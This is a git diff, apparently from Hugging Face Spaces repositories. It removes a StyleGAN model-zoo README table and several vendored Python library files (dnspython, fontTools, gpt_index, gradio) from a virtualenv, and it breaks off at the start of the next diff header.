[bottle-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/EWhoy2AFCTZGtEG1UoayWjcB9Kdc_wreJ8p4RlBB93nbNg?e=DMZceU&download=1) | [chair-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/EbQRTfwdostBhXG30Uacn7ABsEUFa-tEW3oxiM5zDYQbRw?e=FkB7T0&download=1) | [pottedplant-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/EWg7hnoGATBOuJvXWr4m7CQBJL9o7nqnD6nOMRhtH2SKXg?e=Zi3hjD&download=1) | [tvmonitor-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/EVXwttoJVtBMuhHNDdK3cMwBdMiZARJV38PMTsL6whnFlA?e=RbG0ru&download=1) -| [diningtable-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/EXVzBkbmTCVImMtuHLCTBeMBXZmv0RWyx5KXQQAe7-7D5w?e=6RYSnm&download=1) | [sofa-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/EaADQYDXwY9NrzbiUFcRYRgBOu1GdJMG8YgNZZmbNjbn-Q?e=DqKrXG&download=1) - -| StyleGAN Official | | | | -| :-- | :--: | :--: | :--: | -| Model (Dataset) | Training Samples | Training Duration (K Images) | FID -| [ffhq-1024x1024](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/EdfMxgb0hU9BoXwiR3dqYDEBowCSEF1IcsW3n4kwfoZ9OQ?e=VwIV58&download=1) | 70,000 | 25,000 | 4.40 | -| [celebahq-1024x1024](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/EcCdXHddE7FOvyfmqeOyc9ABqVuWh8PQYFnV6JM1CXvFig?e=1nUYZ5&download=1) | 30,000 | 25,000 | 5.06 | -| [bedroom-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/Ea6RBPddjcRNoFMXm8AyEBcBUHdlRNtjtclNKFe89amjBw?e=Og8Vff&download=1) | 3,033,042 | 70,000 | 2.65 | -| [cat-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/EVjX8u9HuehLip3z0hRfIHcB7QtoFkTB7NiRDb8nrKOl2w?e=lHcp1B&download=1) | 1,657,266 | 70,000 | 8.53 | -| [car-512x384](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/EcRJNNzzUzJGjI2X53S9HjkBhXkKT5JRd6Q3IIhCY1AyRw?e=FvMRNj&download=1) | 5,520,756 | 46,000 | 3.27 | - -| StyleGAN Ours | | | | -| :-- | :--: | :--: | :--: | -| Model (Dataset) | Training Samples | Training Duration (K Images) | FID -| *Face ("partial" means faces are not fully aligned to center)* -| [celeba_partial-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/ET2etKNzMS9JmHj5j60fqMcBRJfQfYNvqUrujaIXxCvKDQ?e=QReLE6&download=1) | 103,706 | 50,000 | 7.03 | -| [ffhq-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/ES-NAUCC2qdHg87BftvlBiQBVpbJ8-005Q4TNr5KrOxQEw?e=00AnWt&download=1) | 70,000 | 25,000 | 5.70 | -| [ffhq-512x512](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/EZYrrwOiEgVOg-PfGv7QTegBzFQ9yq2v7o1WxNq5JJ9KNA?e=SZU8PI&download=1) | 70,000 | 25,000 | 5.15 | -| *LSUN Indoor Scene* -| [livingroom-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/EfFCYLHjqbFDmjOvCCFJgDcBZ1QYgETfZJxp4ZTHjLxZBg?e=InVd0n&download=1) | 1,315,802 | 30,000 | 5.16 | -| [diningroom-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/ERsUza_hSFRIm4iZCag7P0kBQ9EIdfQKByw4QYt_ay97lg?e=Cimh7S&download=1) | 657,571 | 25,000 | 4.13 | -| [kitchen-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/ERcYvoingQNKix35lUs0vUkBQQkAZMp1rtDxjwNlOJAoaA?e=a1Tcwr&download=1) | 1,000,000 | 30,000 | 5.06 | -| *LSUN Indoor Scene Mixture* -| [apartment-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/EfurPNSB2BRFtXdqGkmDD6YBwyKN8YK2v7nKwnJQdsbf6A?e=w3oYa4&download=1) | 4 * 200,000 | 60,000 | 4.18 | -| *LSUN Outdoor Scene* -| [church-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/ETMgG1_d06tAlbUkJD1qA9IBaLZ9zJKPkG2kO-4jxhVV5w?e=Dbkb7o&download=1) | 126,227 | 30,000 | 4.82 | -| [tower-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/Ebm9QMgqB2VDqyIE5rFhreEBgZ_RyKcRf8bQ333K453u3w?e=if8sDj&download=1) | 708,264 | 30,000 | 5.99 | -| [bridge-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/Ed9QM6OP9sVHnazSp4cqPSEBb-ALfBPXRxP1hD7FsTYh8w?e=3vv06p&download=1) | 818,687 | 25,000 | 6.42 | -| *LSUN Other Scene* -| [restaurant-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/ESDhYr01WtlEvBNFrVpFezcB2l9lF1rBYuHFoeNpBr5B7A?e=uFWFNh&download=1) | 626,331 | 50,000 | 4.03 | -| [classroom-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/EbWnI3oto9NPk-lxwZlWqPQB2atWpGiTWMIT59MzF9ij9Q?e=KvcNBg&download=1) | 168,103 | 50,000 | 10.10 | -| [conferenceroom-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/Eb1gVi3pGa9PgJ4XYYu_6yABQZ0ZcGDak4FEHaTHaeYFzw?e=0BeE8t&download=1) | 229,069 | 50,000 | 6.20 | - -| StyleGAN Third-Party | | -| :-- | :--: | -| Model (Dataset) | Source | -| [animeface-512x512](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/EWDWflY6lBpGgX0CGQpd2Z4B5wTEVamTOA9JRYne7zdCvA?e=tOzgYA&download=1) | [link](https://www.gwern.net/Faces#portrait-results) -| [animeportrait-512x512](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/EXBvhTBi-v5NsnQtrxhFEKsBin4xg-Dud9Jr62AEwFTIxg?e=bMGK7r&download=1) | [link](https://www.gwern.net/Faces#portrait-results) -| [artface-512x512](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/Eca0OiGqhyZMmoPbKahSBWQBWvcAH4q2CE3zdZJflp2jkQ?e=h4rWAm&download=1) | [link](https://github.com/ak9250/stylegan-art) - -| StyleGAN2 Official | | | | -| :-- | :--: | :--: | :--: | -| Model (Dataset) | Training Samples | Training Duration (K Images) | FID -| [ffhq-1024x1024](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/EX0DNWiBvl5FuOQTF4oMPBYBNSalcxTK0AbLwBn9Y3vfgg?e=Q0sZit&download=1) | 70,000 | 25,000 | 2.84 | -| [church-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/EQzDtJUdQ4ROunMGn2sZouEBmNeFX4QWvxjermVE5cZvNA?e=tQ7r9r&download=1) | 126,227 | 48,000 | 3.86 | -| [cat-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/EUKXeBwUUbZJr6kup7PW4ekBx2-vmTp8FjcGb10v8bgJxQ?e=nkerMF&download=1) | 1,657,266 | 88,000 | 6.93 | -| [horse-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/EconoT6tb69OuAIqfXRtGlsBZz4vBx01UmmFO-JAS356Jg?e=bcSCC4&download=1) | 2,000,340 | 100,000 | 3.43 | -| [car-512x384](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/EYSnUsxU8KJFuMHhZm-JLWoB0nHxdlbrLHNZ_Qkoe3b9LA?e=Ycjp5A&download=1) | 5,520,756 | 57,000 | 2.32 | - -## Training Datasets - -- [MNIST](http://yann.lecun.com/exdb/mnist/) (60,000 training samples and 10,000 test samples on 10 digital numbers) -- [SVHN](http://ufldl.stanford.edu/housenumbers/) (73,257 training samples, 26,032 testing samples, and 531,131 additional samples on 10 digital numbers) -- [CIFAR10](https://www.cs.toronto.edu/~kriz/cifar.html) (50,000 training samples and 10,000 test samples on 10 classes) -- [CIFAR100](https://www.cs.toronto.edu/~kriz/cifar.html) (50,000 training samples and 10,000 test samples on 100 classes) -- [ImageNet](http://www.image-net.org/) (1,281,167 training samples, 50,000 validation samples, and 100,100 testing samples on 1000 classes) -- [CelebA](http://mmlab.ie.cuhk.edu.hk/projects/CelebA.html) (202,599 samples from 10,177 identities, with 5 landmarks and 40 binary facial attributes) -- [CelebA-HQ](https://github.com/tkarras/progressive_growing_of_gans) (30,000 samples) -- [FF-HQ](https://github.com/NVlabs/ffhq-dataset) (70,000 samples) -- [LSUN](https://github.com/fyu/lsun) (see statistical information below) -- [Places](http://places2.csail.mit.edu/) (around 1.8M training samples covering 365 classes) -- [Cityscapes](https://www.cityscapes-dataset.com/) (2,975 training samples, 19998 extra training samples (one broken), 500 validation samples, and 1,525 test samples) -- [Streetscapes](http://streetscore.media.mit.edu/data.html) - -Statistical information of [LSUN](https://github.com/fyu/lsun) dataset is summarized as follows: - -| LSUN Datasets Stats | | | -| :-- | :--: | :--: | -| Name | Number of Samples | Size | -| *Scenes* -| bedroom (train) | 3,033,042 | 43G | -| bridge (train) | 818,687 | 15G | -| churchoutdoor (train) | 126,227 | 2G | -| classroom (train) | 168,103 | 3G | -| conferenceroom (train) | 229,069 | 4G | -| diningroom (train) | 657,571 | 11G | -| kitchen (train) | 2,212,277 | 33G | -| livingroom (train) | 1,315,802 | 21G | -| restaurant (train) | 626,331 | 13G | -| tower (train) | 708,264 | 11G | -| *Objects* -| airplane | 1,530,696 | 34G | -| bicycle | 3,347,211 | 129G | -| bird | 2,310,362 | 65G | -| boat | 2,651,165 | 86G | -| bottle | 3,202,760 | 64G | -| bus | 695,891 | 24G | -| car | 5,520,756 | 173G | -| cat | 1,657,266 | 42G | -| chair | 5,037,807 | 116G | -| cow | 377,379 | 15G | -| diningtable | 1,537,123 | 48G | -| dog | 5,054,817 | 145G | -| horse | 2,000,340 | 69G | -| motorbike | 1,194,101 | 42G | -| person | 18,890,816 | 477G | -| pottedplant | 1,104,859 | 43G | -| sheep | 418,983 | 18G | -| sofa | 2,365,870 | 56G | -| train | 1,148,020 | 43G | -| tvmonitor | 2,463,284 | 46G | diff --git a/spaces/joaopereirajp/livvieChatBot/venv/lib/python3.9/site-packages/dns/ipv6.py b/spaces/joaopereirajp/livvieChatBot/venv/lib/python3.9/site-packages/dns/ipv6.py deleted file mode 100644 index 0cc3d868f567a31f0089009f71320c9acf81fbd5..0000000000000000000000000000000000000000 --- a/spaces/joaopereirajp/livvieChatBot/venv/lib/python3.9/site-packages/dns/ipv6.py +++ /dev/null @@ -1,208 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2017 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -"""IPv6 helper functions.""" - -import binascii -import re -from typing import List, Union - -import dns.exception -import dns.ipv4 - -_leading_zero = re.compile(r"0+([0-9a-f]+)") - - -def inet_ntoa(address: bytes) -> str: - """Convert an IPv6 address in binary form to text form. - - *address*, a ``bytes``, the IPv6 address in binary form. - - Raises ``ValueError`` if the address isn't 16 bytes long. - Returns a ``str``. - """ - - if len(address) != 16: - raise ValueError("IPv6 addresses are 16 bytes long") - hex = binascii.hexlify(address) - chunks = [] - i = 0 - l = len(hex) - while i < l: - chunk = hex[i : i + 4].decode() - # strip leading zeros. we do this with an re instead of - # with lstrip() because lstrip() didn't support chars until - # python 2.2.2 - m = _leading_zero.match(chunk) - if m is not None: - chunk = m.group(1) - chunks.append(chunk) - i += 4 - # - # Compress the longest subsequence of 0-value chunks to :: - # - best_start = 0 - best_len = 0 - start = -1 - last_was_zero = False - for i in range(8): - if chunks[i] != "0": - if last_was_zero: - end = i - current_len = end - start - if current_len > best_len: - best_start = start - best_len = current_len - last_was_zero = False - elif not last_was_zero: - start = i - last_was_zero = True - if last_was_zero: - end = 8 - current_len = end - start - if current_len > best_len: - best_start = start - best_len = current_len - if best_len > 1: - if best_start == 0 and (best_len == 6 or best_len == 5 and chunks[5] == "ffff"): - # We have an embedded IPv4 address - if best_len == 6: - prefix = "::" - else: - prefix = "::ffff:" - thex = prefix + dns.ipv4.inet_ntoa(address[12:]) - else: - thex = ( - ":".join(chunks[:best_start]) - + "::" - + ":".join(chunks[best_start + best_len :]) - ) - else: - thex = ":".join(chunks) - return thex - - -_v4_ending = re.compile(rb"(.*):(\d+\.\d+\.\d+\.\d+)$") -_colon_colon_start = re.compile(rb"::.*") -_colon_colon_end = re.compile(rb".*::$") - - -def inet_aton(text: Union[str, bytes], ignore_scope: bool = False) -> bytes: - """Convert an IPv6 address in text form to binary form. - - *text*, a ``str``, the IPv6 address in textual form. - - *ignore_scope*, a ``bool``. If ``True``, a scope will be ignored. - If ``False``, the default, it is an error for a scope to be present. - - Returns a ``bytes``. - """ - - # - # Our aim here is not something fast; we just want something that works. - # - if not isinstance(text, bytes): - btext = text.encode() - else: - btext = text - - if ignore_scope: - parts = btext.split(b"%") - l = len(parts) - if l == 2: - btext = parts[0] - elif l > 2: - raise dns.exception.SyntaxError - - if btext == b"": - raise dns.exception.SyntaxError - elif btext.endswith(b":") and not btext.endswith(b"::"): - raise dns.exception.SyntaxError - elif btext.startswith(b":") and not btext.startswith(b"::"): - raise dns.exception.SyntaxError - elif btext == b"::": - btext = b"0::" - # - # Get rid of the icky dot-quad syntax if we have it. - # - m = _v4_ending.match(btext) - if m is not None: - b = dns.ipv4.inet_aton(m.group(2)) - btext = ( - "{}:{:02x}{:02x}:{:02x}{:02x}".format( - m.group(1).decode(), b[0], b[1], b[2], b[3] - ) - ).encode() - # - # Try to turn '::' into ':'; if no match try to - # turn '::' into ':' - # - m = _colon_colon_start.match(btext) - if m is not None: - btext = btext[1:] - else: - m = _colon_colon_end.match(btext) - if m is not None: - btext = btext[:-1] - # - # Now canonicalize into 8 chunks of 4 hex digits each - # - chunks = btext.split(b":") - l = len(chunks) - if l > 8: - raise dns.exception.SyntaxError - seen_empty = False - canonical: List[bytes] = [] - for c in chunks: - if c == b"": - if seen_empty: - raise dns.exception.SyntaxError - seen_empty = True - for _ in range(0, 8 - l + 1): - canonical.append(b"0000") - else: - lc = len(c) - if lc > 4: - raise dns.exception.SyntaxError - if lc != 4: - c = (b"0" * (4 - lc)) + c - canonical.append(c) - if l < 8 and not seen_empty: - raise dns.exception.SyntaxError - btext = b"".join(canonical) - - # - # Finally we can go to binary. - # - try: - return binascii.unhexlify(btext) - except (binascii.Error, TypeError): - raise dns.exception.SyntaxError - - -_mapped_prefix = b"\x00" * 10 + b"\xff\xff" - - -def is_mapped(address: bytes) -> bool: - """Is the specified address a mapped IPv4 address? - - *address*, a ``bytes`` is an IPv6 address in binary form. - - Returns a ``bool``. - """ - - return address.startswith(_mapped_prefix) diff --git a/spaces/joaopereirajp/livvieChatBot/venv/lib/python3.9/site-packages/dns/rdtypes/ANY/CDS.py b/spaces/joaopereirajp/livvieChatBot/venv/lib/python3.9/site-packages/dns/rdtypes/ANY/CDS.py deleted file mode 100644 index 2ff42d9a1a2774dc0c1a629d8dbad4902258ad45..0000000000000000000000000000000000000000 --- a/spaces/joaopereirajp/livvieChatBot/venv/lib/python3.9/site-packages/dns/rdtypes/ANY/CDS.py +++ /dev/null @@ -1,30 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import dns.immutable -import dns.rdtypes.dsbase - - -@dns.immutable.immutable -class CDS(dns.rdtypes.dsbase.DSBase): - - """CDS record""" - - _digest_length_by_type = { - **dns.rdtypes.dsbase.DSBase._digest_length_by_type, - 0: 1, # delete, RFC 8078 Sec. 4 (including Errata ID 5049) - } diff --git a/spaces/joaopereirajp/livvieChatBot/venv/lib/python3.9/site-packages/fontTools/ttLib/tables/otTraverse.py b/spaces/joaopereirajp/livvieChatBot/venv/lib/python3.9/site-packages/fontTools/ttLib/tables/otTraverse.py deleted file mode 100644 index bf22dcfdb500cd50525fce749562384a82b1cb0f..0000000000000000000000000000000000000000 --- a/spaces/joaopereirajp/livvieChatBot/venv/lib/python3.9/site-packages/fontTools/ttLib/tables/otTraverse.py +++ /dev/null @@ -1,161 +0,0 @@ -"""Methods for traversing trees of otData-driven OpenType tables.""" -from collections import deque -from typing import Callable, Deque, Iterable, List, Optional, Tuple -from .otBase import BaseTable - - -__all__ = [ - "bfs_base_table", - "dfs_base_table", - "SubTablePath", -] - - -class SubTablePath(Tuple[BaseTable.SubTableEntry, ...]): - def __str__(self) -> str: - path_parts = [] - for entry in self: - path_part = entry.name - if entry.index is not None: - path_part += f"[{entry.index}]" - path_parts.append(path_part) - return ".".join(path_parts) - - -# Given f(current frontier, new entries) add new entries to frontier -AddToFrontierFn = Callable[[Deque[SubTablePath], List[SubTablePath]], None] - - -def dfs_base_table( - root: BaseTable, - root_accessor: Optional[str] = None, - skip_root: bool = False, - predicate: Optional[Callable[[SubTablePath], bool]] = None, - iter_subtables_fn: Optional[ - Callable[[BaseTable], Iterable[BaseTable.SubTableEntry]] - ] = None, -) -> Iterable[SubTablePath]: - """Depth-first search tree of BaseTables. - - Args: - root (BaseTable): the root of the tree. - root_accessor (Optional[str]): attribute name for the root table, if any (mostly - useful for debugging). - skip_root (Optional[bool]): if True, the root itself is not visited, only its - children. - predicate (Optional[Callable[[SubTablePath], bool]]): function to filter out - paths. If True, the path is yielded and its subtables are added to the - queue. If False, the path is skipped and its subtables are not traversed. - iter_subtables_fn (Optional[Callable[[BaseTable], Iterable[BaseTable.SubTableEntry]]]): - function to iterate over subtables of a table. If None, the default - BaseTable.iterSubTables() is used. - - Yields: - SubTablePath: tuples of BaseTable.SubTableEntry(name, table, index) namedtuples - for each of the nodes in the tree. The last entry in a path is the current - subtable, whereas preceding ones refer to its parent tables all the way up to - the root. - """ - yield from _traverse_ot_data( - root, - root_accessor, - skip_root, - predicate, - lambda frontier, new: frontier.extendleft(reversed(new)), - iter_subtables_fn, - ) - - -def bfs_base_table( - root: BaseTable, - root_accessor: Optional[str] = None, - skip_root: bool = False, - predicate: Optional[Callable[[SubTablePath], bool]] = None, - iter_subtables_fn: Optional[ - Callable[[BaseTable], Iterable[BaseTable.SubTableEntry]] - ] = None, -) -> Iterable[SubTablePath]: - """Breadth-first search tree of BaseTables. - - Args: - the root of the tree. - root_accessor (Optional[str]): attribute name for the root table, if any (mostly - useful for debugging). - skip_root (Optional[bool]): if True, the root itself is not visited, only its - children. - predicate (Optional[Callable[[SubTablePath], bool]]): function to filter out - paths. If True, the path is yielded and its subtables are added to the - queue. If False, the path is skipped and its subtables are not traversed. - iter_subtables_fn (Optional[Callable[[BaseTable], Iterable[BaseTable.SubTableEntry]]]): - function to iterate over subtables of a table. If None, the default - BaseTable.iterSubTables() is used. - - Yields: - SubTablePath: tuples of BaseTable.SubTableEntry(name, table, index) namedtuples - for each of the nodes in the tree. The last entry in a path is the current - subtable, whereas preceding ones refer to its parent tables all the way up to - the root. - """ - yield from _traverse_ot_data( - root, - root_accessor, - skip_root, - predicate, - lambda frontier, new: frontier.extend(new), - iter_subtables_fn, - ) - - -def _traverse_ot_data( - root: BaseTable, - root_accessor: Optional[str], - skip_root: bool, - predicate: Optional[Callable[[SubTablePath], bool]], - add_to_frontier_fn: AddToFrontierFn, - iter_subtables_fn: Optional[ - Callable[[BaseTable], Iterable[BaseTable.SubTableEntry]] - ] = None, -) -> Iterable[SubTablePath]: - # no visited because general otData cannot cycle (forward-offset only) - if root_accessor is None: - root_accessor = type(root).__name__ - - if predicate is None: - - def predicate(path): - return True - - if iter_subtables_fn is None: - - def iter_subtables_fn(table): - return table.iterSubTables() - - frontier: Deque[SubTablePath] = deque() - - root_entry = BaseTable.SubTableEntry(root_accessor, root) - if not skip_root: - frontier.append((root_entry,)) - else: - add_to_frontier_fn( - frontier, - [ - (root_entry, subtable_entry) - for subtable_entry in iter_subtables_fn(root) - ], - ) - - while frontier: - # path is (value, attr_name) tuples. attr_name is attr of parent to get value - path = frontier.popleft() - current = path[-1].value - - if not predicate(path): - continue - - yield SubTablePath(path) - - new_entries = [ - path + (subtable_entry,) for subtable_entry in iter_subtables_fn(current) - ] - - add_to_frontier_fn(frontier, new_entries) diff --git a/spaces/joaopereirajp/livvieChatBot/venv/lib/python3.9/site-packages/gpt_index/readers/weaviate/reader.py b/spaces/joaopereirajp/livvieChatBot/venv/lib/python3.9/site-packages/gpt_index/readers/weaviate/reader.py deleted file mode 100644 index 6bb93bca3bdbc1fe692ce232576f00571861822f..0000000000000000000000000000000000000000 --- a/spaces/joaopereirajp/livvieChatBot/venv/lib/python3.9/site-packages/gpt_index/readers/weaviate/reader.py +++ /dev/null @@ -1,116 +0,0 @@ -"""Weaviate reader.""" - -from typing import Any, List, Optional - -from gpt_index.readers.base import BaseReader -from gpt_index.readers.schema.base import Document - - -class WeaviateReader(BaseReader): - """Weaviate reader. - - Retrieves documents from Weaviate through vector lookup. Allows option - to concatenate retrieved documents into one Document, or to return - separate Document objects per document. - - Args: - host (str): host. - auth_client_secret (Optional[weaviate.auth.AuthCredentials]): - auth_client_secret. - """ - - def __init__( - self, - host: str, - auth_client_secret: Optional[Any] = None, - ) -> None: - """Initialize with parameters.""" - try: - import weaviate # noqa: F401 - from weaviate import Client # noqa: F401 - from weaviate.auth import AuthCredentials # noqa: F401 - except ImportError: - raise ImportError( - "`weaviate` package not found, please run `pip install weaviate-client`" - ) - - self.client: Client = Client(host, auth_client_secret=auth_client_secret) - - def load_data( - self, - class_name: Optional[str] = None, - properties: Optional[List[str]] = None, - graphql_query: Optional[str] = None, - separate_documents: Optional[bool] = True, - ) -> List[Document]: - """Load data from Weaviate. - - If `graphql_query` is not found in load_kwargs, we assume that - `class_name` and `properties` are provided. - - Args: - class_name (Optional[str]): class_name to retrieve documents from. - properties (Optional[List[str]]): properties to retrieve from documents. - graphql_query (Optional[str]): Raw GraphQL Query. - We assume that the query is a Get query. - separate_documents (Optional[bool]): Whether to return separate - documents. Defaults to True. - - Returns: - List[Document]: A list of documents. - - """ - if class_name is not None and properties is not None: - props_txt = "\n".join(properties) - graphql_query = f""" - {{ - Get {{ - {class_name} {{ - {props_txt} - }} - }} - }} - """ - elif graphql_query is not None: - pass - else: - raise ValueError( - "Either `class_name` and `properties` must be specified, " - "or `graphql_query` must be specified." - ) - - response = self.client.query.raw(graphql_query) - if "errors" in response: - raise ValueError("Invalid query, got errors: {}".format(response["errors"])) - - data_response = response["data"] - if "Get" not in data_response: - raise ValueError("Invalid query response, must be a Get query.") - - if class_name is None: - # infer class_name if only graphql_query was provided - class_name = list(data_response["Get"].keys())[0] - entries = data_response["Get"][class_name] - documents = [] - for entry in entries: - embedding = None - # for each entry, join properties into : - # separated by newlines - text_list = [] - for k, v in entry.items(): - if k == "_additional": - if "vector" in v: - embedding = v["vector"] - continue - text_list.append(f"{k}: {v}") - - text = "\n".join(text_list) - documents.append(Document(text=text, embedding=embedding)) - - if not separate_documents: - # join all documents into one - text_list = [doc.get_text() for doc in documents] - text = "\n\n".join(text_list) - documents = [Document(text=text)] - - return documents diff --git a/spaces/joaopereirajp/livvieChatBot/venv/lib/python3.9/site-packages/gradio/components/color_picker.py b/spaces/joaopereirajp/livvieChatBot/venv/lib/python3.9/site-packages/gradio/components/color_picker.py deleted file mode 100644 index f8acd134f32fd1c76b20a3664d0fe77bcbb05293..0000000000000000000000000000000000000000 --- a/spaces/joaopereirajp/livvieChatBot/venv/lib/python3.9/site-packages/gradio/components/color_picker.py +++ /dev/null @@ -1,141 +0,0 @@ -"""gr.ColorPicker() component.""" - -from __future__ import annotations - -import warnings -from typing import Any, Callable, Literal - -from gradio_client.documentation import document, set_documentation_group -from gradio_client.serializing import StringSerializable - -from gradio.components.base import IOComponent, _Keywords -from gradio.events import ( - Changeable, - Focusable, - Inputable, - Submittable, -) - -set_documentation_group("component") - - -@document() -class ColorPicker( - Changeable, Inputable, Submittable, Focusable, IOComponent, StringSerializable -): - """ - Creates a color picker for user to select a color as string input. - Preprocessing: passes selected color value as a {str} into the function. - Postprocessing: expects a {str} returned from function and sets color picker value to it. - Examples-format: a {str} with a hexadecimal representation of a color, e.g. "#ff0000" for red. - Demos: color_picker, color_generator - """ - - def __init__( - self, - value: str | Callable | None = None, - *, - label: str | None = None, - info: str | None = None, - every: float | None = None, - show_label: bool | None = None, - container: bool = True, - scale: int | None = None, - min_width: int = 160, - interactive: bool | None = None, - visible: bool = True, - elem_id: str | None = None, - elem_classes: list[str] | str | None = None, - **kwargs, - ): - """ - Parameters: - value: default text to provide in color picker. If callable, the function will be called whenever the app loads to set the initial value of the component. - label: component name in interface. - info: additional component description. - every: If `value` is a callable, run the function 'every' number of seconds while the client connection is open. Has no effect otherwise. Queue must be enabled. The event can be accessed (e.g. to cancel it) via this component's .load_event attribute. - show_label: if True, will display label. - container: If True, will place the component in a container - providing some extra padding around the border. - scale: relative width compared to adjacent Components in a Row. For example, if Component A has scale=2, and Component B has scale=1, A will be twice as wide as B. Should be an integer. - min_width: minimum pixel width, will wrap if not sufficient screen space to satisfy this value. If a certain scale value results in this Component being narrower than min_width, the min_width parameter will be respected first. - interactive: if True, will be rendered as an editable color picker; if False, editing will be disabled. If not provided, this is inferred based on whether the component is used as an input or output. - visible: If False, component will be hidden. - elem_id: An optional string that is assigned as the id of this component in the HTML DOM. Can be used for targeting CSS styles. - elem_classes: An optional list of strings that are assigned as the classes of this component in the HTML DOM. Can be used for targeting CSS styles. - """ - IOComponent.__init__( - self, - label=label, - info=info, - every=every, - show_label=show_label, - container=container, - scale=scale, - min_width=min_width, - interactive=interactive, - visible=visible, - elem_id=elem_id, - elem_classes=elem_classes, - value=value, - **kwargs, - ) - - def example_inputs(self) -> dict[str, Any]: - return { - "raw": "#000000", - "serialized": "#000000", - } - - @staticmethod - def update( - value: str | Literal[_Keywords.NO_VALUE] | None = _Keywords.NO_VALUE, - label: str | None = None, - info: str | None = None, - show_label: bool | None = None, - container: bool | None = None, - scale: int | None = None, - min_width: int | None = None, - visible: bool | None = None, - interactive: bool | None = None, - ): - warnings.warn( - "Using the update method is deprecated. Simply return a new object instead, e.g. `return gr.ColorPicker(...)` instead of `return gr.ColorPicker.update(...)`." - ) - return { - "value": value, - "label": label, - "info": info, - "show_label": show_label, - "container": container, - "scale": scale, - "min_width": min_width, - "visible": visible, - "interactive": interactive, - "__type__": "update", - } - - def preprocess(self, x: str | None) -> str | None: - """ - Any preprocessing needed to be performed on function input. - Parameters: - x: text - Returns: - text - """ - if x is None: - return None - else: - return str(x) - - def postprocess(self, y: str | None) -> str | None: - """ - Any postprocessing needed to be performed on function output. - Parameters: - y: text - Returns: - text - """ - if y is None: - return None - else: - return str(y) diff --git a/spaces/johnberg/CLIPInverter/app.py 